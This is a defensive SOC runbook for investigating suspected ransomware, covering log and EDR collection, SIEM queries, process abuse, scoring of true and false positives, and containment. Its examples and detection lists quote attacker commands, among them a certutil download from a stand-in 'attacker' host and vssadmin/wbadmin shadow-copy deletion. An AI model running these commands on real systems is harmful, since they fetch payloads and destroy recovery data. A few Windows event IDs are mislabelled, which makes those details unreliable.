RANSOMWARE INVESTIGATION RUNBOOK

ABSTRACT

Document Overview

This run book provides a structured methodology for investigating suspected ransomware activity. It guides SOC analysts through:

- Logs and SIEM correlation
- EDR telemetry analysis
- Process and service behaviour review
- File and ransom note indicators
- IOC enrichment and timeline building
- Decision-making for True Positive (TP) vs (FP)
- Recommended response actions

Kumar Bineet Ranjan

Ransomware investigation — full, detailed SOC runbook (step-by-step)

You are a SOC analyst. Below is a complete, practical, evidence-first investigation playbook you can follow **step-by-step** to investigate a suspected ransomware detection using logs, SIEM, EDR, processes, services, file telemetry, and network telemetry. It explains *what to collect*, *how to correlate*, *how to decide TP vs FP*, and *what each common process/service/file artifact does* and how attackers misuse them.

---

1. Immediate triage — what to collect, why, and first actions

Purpose: decide risk quickly and preserve volatile evidence.

What to record immediately (anchor data — `must` capture)

- Alert ID / rule / signature / detector name
- Alert timestamp (absolute time + timezone) and detection window you'll use (suggest: ±30–60 mins)
- Hostname(s) / IP(s) / domain(s) / user accounts involved
- Process name, PID, parent PID, command line (if present)
- Severity, observed impact (users reporting unreadable files, ransom note, mass errors), initial scope (single host / multiple / file server)

Quick decisions & immediate actions

- If **active encryption** (mass file writes + ransom notes + user reports) → **isolate host** using EDR network-isolate or disable network interface. Prefer EDR isolate so you can still collect telemetry.
- If host is business-critical and you are unsure → **collect volatile data first** (live memory dump via EDR) before taking a hard action that destroys evidence (e.g., power off). Document who approved actions.
- If not active/low impact → proceed with collection and correlation first (don't escalate containment too fast).

Why these steps matter

- Accurate timestamps let you pull exact logs and build a timeline.
- Memory/EDR snapshots can contain in-memory payloads, process injections, or keys that will vanish if host is rebooted.

---

2. Evidence collection — telemetry to pull and what each reveals

Collect telemetry for window = alert_time − 30–60 min → alert_time + 2–24 hrs (expand if lateral movement suspected).

Essential sources and what they reveal

- **EDR telemetry (highest priority):** full process tree, command lines, child processes, file open/write events, registry writes, loaded modules, in-memory artifacts, network connections at process level, hash of binaries. (Use EDR to snapshot/process dump and to isolate).
- **Windows Security logs:**
  - EventID **4688** — process creation (who ran what).
  - EventID **4663** — object (file) access.
  - EventID **4624** — logon events (useful for lateral movement).
  - EventID **1103** — Registry changes
- **Sysmon (if deployed):** EventID **1** process create, **3** network connect, **7** file create, **11** file create stream, **12** registry value set, **13** file hash — gives parent-child relations, hashes, network endpoints.
- **Application/System logs:** service failures, driver loads.
- **File server/SMB audit logs (EventID 5145, file audit):** who accessed which files on shares.
- **Network logs:** DNS, proxy, firewall logs, NetFlow — useful to detect C2, exfil, and lateral SMB writes.
- **Email gateway logs:** if phishing suspected — message ID, sender, attachment hashes, click-tracking.
- **Backup system logs:** verify whether backups were modified or failed (helps rule out backups vs ransomware).

What to pull from EDR (minimum)

- Full process tree snapshot for host(s).
- File operation list for the window (create/modify/delete).
- All spawned child processes and their command lines.
- Registry modifications, scheduled tasks created, services created.
- Memory dump of suspicious processes (if permitted), and copies of suspicious binaries.
- Network connections per process during window.

Preserve chain of custody: who collected, when, where files stored.

---

3. SIEM / EDR queries & what to look for (practical examples)

Use the alert window and host/user fields to scope queries. Replace placeholders.

Process creation (detect suspicious parents & encoded commands)

- **Splunk**:

```
index=wineventlog EventCode=4688 host="<HOST>" OR user="<USER>"
| table _time host user New_Process_Name Parent_Process_Name
Process_Command_Line
```

- **KQL (Azure Sentinel)**:

```
SecurityEvent
| where EventID == 4688 and TimeGenerated between (datetime("<START>") ..
datetime("<END>"))
| project TimeGenerated, Computer, Account, ProcessName =
tostring(EventData.NewProcessName),
         ProcessCommandLine = tostring(EventData.CommandLine),
ParentProcessName = tostring(EventData.ParentProcessName)
```

Mass file writes (burst detection — encryption indicator)

- Splunk pseudo:

```
index=file_audit host="<HOST>"
| bucket _time span=1m
| stats count by _time
| where count > 500
```

(Adjust threshold per environment.)

VSS / shadow copy deletion

- Search process creation where `Image = "*vssadmin.exe*" and CommandLine contains "delete shadows"`

Encoded PowerShell / suspicious script execution

- Search ProcessCommandLine for `-EncodedCommand`, `-enc`, `IEX`, `Invoke-Expression`, `Invoke-WebRequest`, `DownloadFile`.

Network C2 patterns

- DNS lookups to rare domains, many NXDOMAIN, HTTP POSTs with large payloads, unusual ports, repeated connects to same IP.

What to look for in results

- Parent-child anomalies (e.g., `winword.exe -> powershell.exe`).
- Long/encoded command lines, `certutil/bitsadmin` downloads.
- Scheduled task/service creation immediately prior to suspicious execution.
- Bulk SMB writes from one host to many files on servers.

4. Processes, services & persistence — what to inspect and how to interpret

Below each common process/tool: normal purpose, how attackers use it, suspicious signs, and investigative actions.

powershell.exe / pwsh.exe

- **Normal:** automation, admin scripting.
- **Abuse:** download & execute payloads, `-EncodedCommand` or `-NoProfile -ExecutionPolicy Bypass`, fileless execution.
- **Suspicious signs:** parent is Office (winword.exe/excel.exe), command lines with `-EncodedCommand`, `IEX`, `DownloadString`.
- **Investigate:** capture full command line, decode base64 (`[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String(...))`), dump memory of PowerShell process, pull child process list.

cmd.exe

- **Normal:** legacy shell, batch execution.
- **Abuse:** run batch that deletes VSS, mass renames, or launches other LOLBins.
- **Suspicious:** `for`, `ren`, `move` loops affecting many files; parent = Office or user process.
- **Investigate:** get `4688` events, check child commands.

certutil.exe

- **Normal:** certificate utility.
- **Abuse:** download files: `certutil -urlcache -split -f http://attacker/payload.exe C:\Users\...\tmp.exe`.
- **Suspicious:** run by non-admin user or Office parent.
- **Investigate:** locate downloaded file and hash it, check parent.

bitsadmin.exe / BITS

- **Normal:** background transfer (Windows Update).
- **Abuse:** download payloads or exfil via background jobs.
- **Suspicious:** BITS jobs created by unknown processes or to external domains.

regsvr32.exe / rundll32.exe / mshta.exe

- **Normal:** run/ register DLLs or HTA apps.

- **Abuse:** proxy DLL/script execution from remote sources (Squiblydoo regsvr32, rundll32 exec).
- **Suspicious:** command lines referencing remote URLs or odd DLL paths.

vssadmin.exe / wbadmin.exe

- **Normal:** manage shadow copies/backups.
- **Abuse:** delete shadow copies: `vssadmin delete shadows /all /quiet` or `wbadmin delete catalog`.
- **Red flag:** these commands plus mass file writes = strong malicious indicator.

wmic.exe / psexec.exe / wmiprvse.exe

- **Normal:** remote management, admin tools.
- **Abuse:** lateral movement, remote command execution (PsExec), WMI-based persistence or execution.
- **Suspicious:** psexec service created in temporary directories, wmic commands executed by unusual accounts.

svchost.exe / explorer.exe / lsass.exe

- **Normal:** core system processes.
- **Abuse:** process injection into svchost to persist/hide; lsass targeted for credential dumping.
- **Investigation:** check module loads, suspicious network sockets opened by svchost, lsass access by non-system processes.

cscript.exe / wscript.exe

- **Normal:** VBScript/JScript execution.
- **Abuse:** executed by macros or downloaded scripts in phishing attachments.

taskeng.exe / schtasks.exe

- **Normal:** scheduled tasks engine.
- **Abuse:** scheduled tasks created with names like `Updater` but pointing to malicious executable for persistence.
- **Investigate:** enumerate tasks and check `Actions`.

How to check for persistence (PowerShell examples)

```
# Services
Get-WmiObject -Class Win32_Service | Select
Name,DisplayName,StartMode,PathName,State

# Scheduled tasks
Get-ScheduledTask | Select TaskName, State, Actions

# Run keys
```

```
Get-ItemProperty -Path
"HKLM:\Software\Microsoft\Windows\CurrentVersion\Run"
Get-ItemProperty -Path
"HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"
```

Look for services or tasks with paths in user profile or `Temp` — suspicious.

---

5. File system & encryption indicators — what to detect and how

Clear indicators of encryption:

- **Mass rename** of many files in short time (same new extension or pattern).
- **Ransom notes** created in many folders (README*, *DECRYPT*, HOW_TO_DECRYPT*).
- **Files unreadable** / applications erroring when opening files.
- **High entropy** in sample files (heuristic; encrypted files look random).

Common ransom note filenames (search for these)

- `README.txt`, `README_FOR_DECRYPT.txt`
- `HOW_TO_DECRYPT_FILES.html`, `HOW_TO_RECOVER.html`
- `_HELP_INSTRUCTION.txt`, `DECRYPT_INSTRUCTIONS.html`
- `RECOVER_FILES.txt`

Example PowerShell search:

```
Get-ChildItem -Path C:\ -Include
"*README*","*_DECRYPT*","HOW_TO_DECRYPT*","*RECOVER*.*" -Recurse -
ErrorAction SilentlyContinue | Select FullName, LastWriteTime
```

High-entropy check (concept)

- Compute Shannon entropy on file bytes. Values close to 8 indicate high randomness (encrypted); lower values for plain-text. Use as one heuristic, not sole evidence.

How to detect mass-file changes in logs

- Aggregate audited file-write/create events per host in 1m buckets and look for spikes. In EDR, count file writes by process.

---

6. Shadow copies / VSS evidence — why it’s high-value

What attackers do

- Delete shadow copies/backups before encryption to block recovery. Commands:
  - `vssadmin delete shadows /all /quiet`
  - `wbadmin delete catalog`
  - `wmic shadowcopy delete`

Where to look

- Process creation logs (4688 / Sysmon event 1) for vssadmin/wbadmin.
- Backup system logs for failed/deleted backups.
- Event logs showing VSS errors.

Why high-confidence

- Deleting backups is an explicit step to prevent recovery — when combined with encryption this is a very strong TP signal.

---

7. Network & IOC enrichment — what to collect & how to interpret

Network indicators

- Outbound connections to obscure domains/IPs (esp. new registrations).
- Repeated HTTP POSTs of significant size (possible exfil).
- DNS anomalies (many unique subdomains, NXDOMAIN spikes).
- Unusual ports and Tor/proxy usage.
- Lateral SMB traffic pattern: same host writing many files to file server shares.

Enrichment actions

- Extract domain/IP/file hashes & query threat intel (VirusTotal, OTX, internal TI).
- Map behavior to MITRE ATT&CK techniques (e.g., T1486 — Data Encrypted for Impact; T1059 — Command and Scripting Interpreter).
- Check WHOIS / domain registration age for suspicious domains.

Practical correlation rule

- If the **same process** that writes many files is also making outbound connections to rare IPs/domains → raise TP confidence.

---

8. Correlation & timeline building — produce an evidence-based story

Goal: single narrative from initial access → movement → encryption.

Timeline fields (CSV-friendly)

```
Timestamp (ISO) | Host | User/Account | Process | Parent Process | PID | CommandLine | FileAction (path) | Network Dest (IP:port/domain) | Log Source | Notes
```

How to build

1. Anchor on earliest suspicious indicator (e.g., phishing email reception).
2. Follow to first suspicious process spawn (e.g., winword.exe → powershell.exe).
3. Note lateral moves (RDP login events, PsExec, WMI remote exec).
4. Mark shadow-copy deletion and start of mass file writes.
5. Log containment actions and timestamps.

Visualization: graph the process tree and overlay file-write counts per minute and network connections timeline to show causality.

---

9. Determining TP vs FP — reproducible scoring approach

Use an evidence scoring model (example):

High-confidence indicators

- Confirmed mass encryption or presence of ransom notes: **+8**
- VSS/shadow copy deletion observed: **+5**
- Known ransomware hash/family match: **+6**
- C2 connections to known-malicious IP/domain: **+5**
- Lateral spread across multiple hosts: **+4**
- Persistence objects created (service/task/Run key): **+3**

Ambiguous / low confidence

- Use of PowerShell/certutil alone: **+1**
- Single heuristic fire with no corroboration: **+1**

Score interpretation (example)

- **≥ 12** → Strong TP (full IR)

- **6–11** → Probable TP (preserve and escalate)
- **≤ 5** → Likely FP (collect more evidence; check benign causes)

Common FP causes

- Backup software activity (Veeam, Veritas) causing mass writes
- Legit compression/encryption tasks (db maintenance, archival scripts)
- Admin maintenance windows and AV scans
- EDR/AV self-actions that trigger heuristics

How to confirm FP

- Verify file owner & schedule (contact app owner).
- Check binary signature and path (signed binary in `C:\Program Files\` vs unknown in `%AppData%`).
- See if the same behavior repeats on scheduled windows.

---

10. Immediate actions for a True Positive (contain → preserve → eradicate → recover)

Containment

- **Isolate host(s)** via EDR (network isolate). Block IOCs at perimeter (firewall / proxy).
- Disable compromised accounts and reset credentials (especially service accounts).
- Block lateral tools (PsExec, SMB) at network level temporarily.

Preservation (forensically sound)

- Collect EDR artifacts (process tree, command lines, file list).
- Capture memory dump(s) of suspected processes.
- Take disk image(s) if allowed.
- Export relevant Windows event logs and Sysmon logs.

Eradication & recovery

- Remove persistence artifacts, but **reimage** hosts if unsure.
- Restore files from known-good backups; verify backups are clean (not encrypted).
- Rotate domain and service account credentials used by attackers.

Communication & legal

- Notify IR, management, legal/ compliance, and relevant business units per escalation policy.
- If exfiltration suspected, follow breach notification & legal procedures.

Post-incident

- Root cause analysis, patching, strengthen segmentation, improve backups, tune detections, and run tabletop exercises.

---

11. If False Positive — documentation & detection tuning

Document supporting evidence for FP

- Hashes of binaries (signed), EDR screenshots showing benign parent, backup job schedule, vendor documentation, logs showing expected behavior.

Tuning actions

- Allowlist vendor-signed binaries and known backup paths.
- Contextualize rules (only trigger if suspicious parent process + mass-file writes + no scheduled task exists).
- Increase thresholds or add enrichments (process reputation, file write rate per minute).

Retest tuned rules with simulated benign activity.

---

12. Reporting & incident ticket content (use your SOC ticket template)

Minimum required fields to record (fill into ticket)

- Unique ID, detection source, timestamps (IST + UTC), host(s), user(s), short description.
- Evidence summary: process tree, key event IDs, IOC list (hashes/domains/IPs), sample ransom note path(s).
- Impact: number of hosts/users/data affected.
- Actions taken: isolate host, memory dump, backups verified, reimage planned.
- Conclusion: **TP** or **FP** with scored evidence and rationale.
- Recommendations & next steps.

(You previously provided a SOC ticket template — use that exact template to populate fields for consistency.)

---

13. Quick investigator commands & SIEM/EDR query cheat-sheet

(Use EDR-first; hitting production hosts manually should be minimized.)

Process creation (Sysmon events):

```
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-
Sysmon/Operational'; Id=1; StartTime=(Get-Date).AddHours(-4)} |
  Select-Object TimeCreated, @{n='Image';e={$_.Properties[0].Value}},
@{n='CommandLine';e={$_.Properties[8].Value}}
```

Find VSS deletion:

```
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4688;
StartTime=(Get-Date).AddDays(-1)} |
  Where-Object { $_.Message -match "vssadmin" -and $_.Message -match
"delete" }
```

Search for ransom notes:

```
Get-ChildItem -Path C:\ -Include
"*README*","*_DECRYPT*","HOW_TO_DECRYPT*","*RECOVER*.*" -Recurse -
ErrorAction SilentlyContinue | Select FullName, LastWriteTime
```

List suspicious services (paths in user profile):

```
Get-WmiObject -Class Win32_Service | Select Name,State,StartMode,PathName |
Where-Object {$_.PathName -like "*Users*" -or $_.PathName -like "*Temp*"}
```

Splunk: find encoded PowerShell usage:

```
index=wineventlog EventCode=4688 Process_Command_Line="*-EncodedCommand*"
OR Process_Command_Line="* -enc *"
| table _time host user New_Process_Name Parent_Process_Name
Process_Command_Line
```

SIEM: mass file write detection (pseudo):

```
index=file_audit host="*" sourcetype="file" | bucket _time span=1m | stats
count by host, _time | where count > <threshold>
```

---

14. Explanation of the specific filenames and services you'll likely see

Ransom note names (examples) — these are dropped by many ransomware families:

- `README.txt`, `README_FOR_DECRYPT.txt`, `HOW_TO_DECRYPT_FILES.html`, `_HELP_INSTRUCTION.txt`, `DECRYPT_INSTRUCTIONS.html`, `RECOVER_FILES.txt`

Encrypted file extensions (examples):

- `.locked`, `.crypt`, `.encrypted`, `.RYK`, `.locky`, `.cerber`, or random 5–10 char extensions unique to a family.

Backup/restore tools and services

- `vssadmin.exe` — manages Volume Shadow Copy snapshots. Attackers run `vssadmin delete shadows /all /quiet`.
- `wbadmin.exe` / `wbengine` — Windows backup utilities/services; attackers delete catalogs or stop the service.
- Backup software (Veeam, Veritas) doesn't normally delete shadows; if mass file writes correspond to backup job times then it might be benign.

Antivirus / Protection services

- `WinDefend` (Windows Defender) — attackers may try to disable it. Check service stop events and registry changes.

---

15. Putting it all together: suggested investigative play sequence

1. **Triage:** capture alert metadata, EDR snapshot, decide isolation.
2. **Contain (if active):** isolate host(s), block IOCs.
3. **Collect:** EDR process tree, file events, registry hives, scheduled tasks, memory.
4. **Search:** process creation (4688/Sysmon1), vssadmin/wbadmin, encoded PowerShell, mass file writes.
5. **Enrich:** hash/domain/IP lookups, MITRE mapping.
6. **Correlate & timeline:** process → network → file events in a CSV for the IR team.
7. **Decide:** apply scoring matrix and declare TP/FP with evidence.
8. **If TP:** preserve artifacts, eradicate (reimage), recover from backup, rotate credentials.
9. **If FP:** document, tune rules, communicate closure.
10. **Post:** root cause analysis, patching, detection improvements.
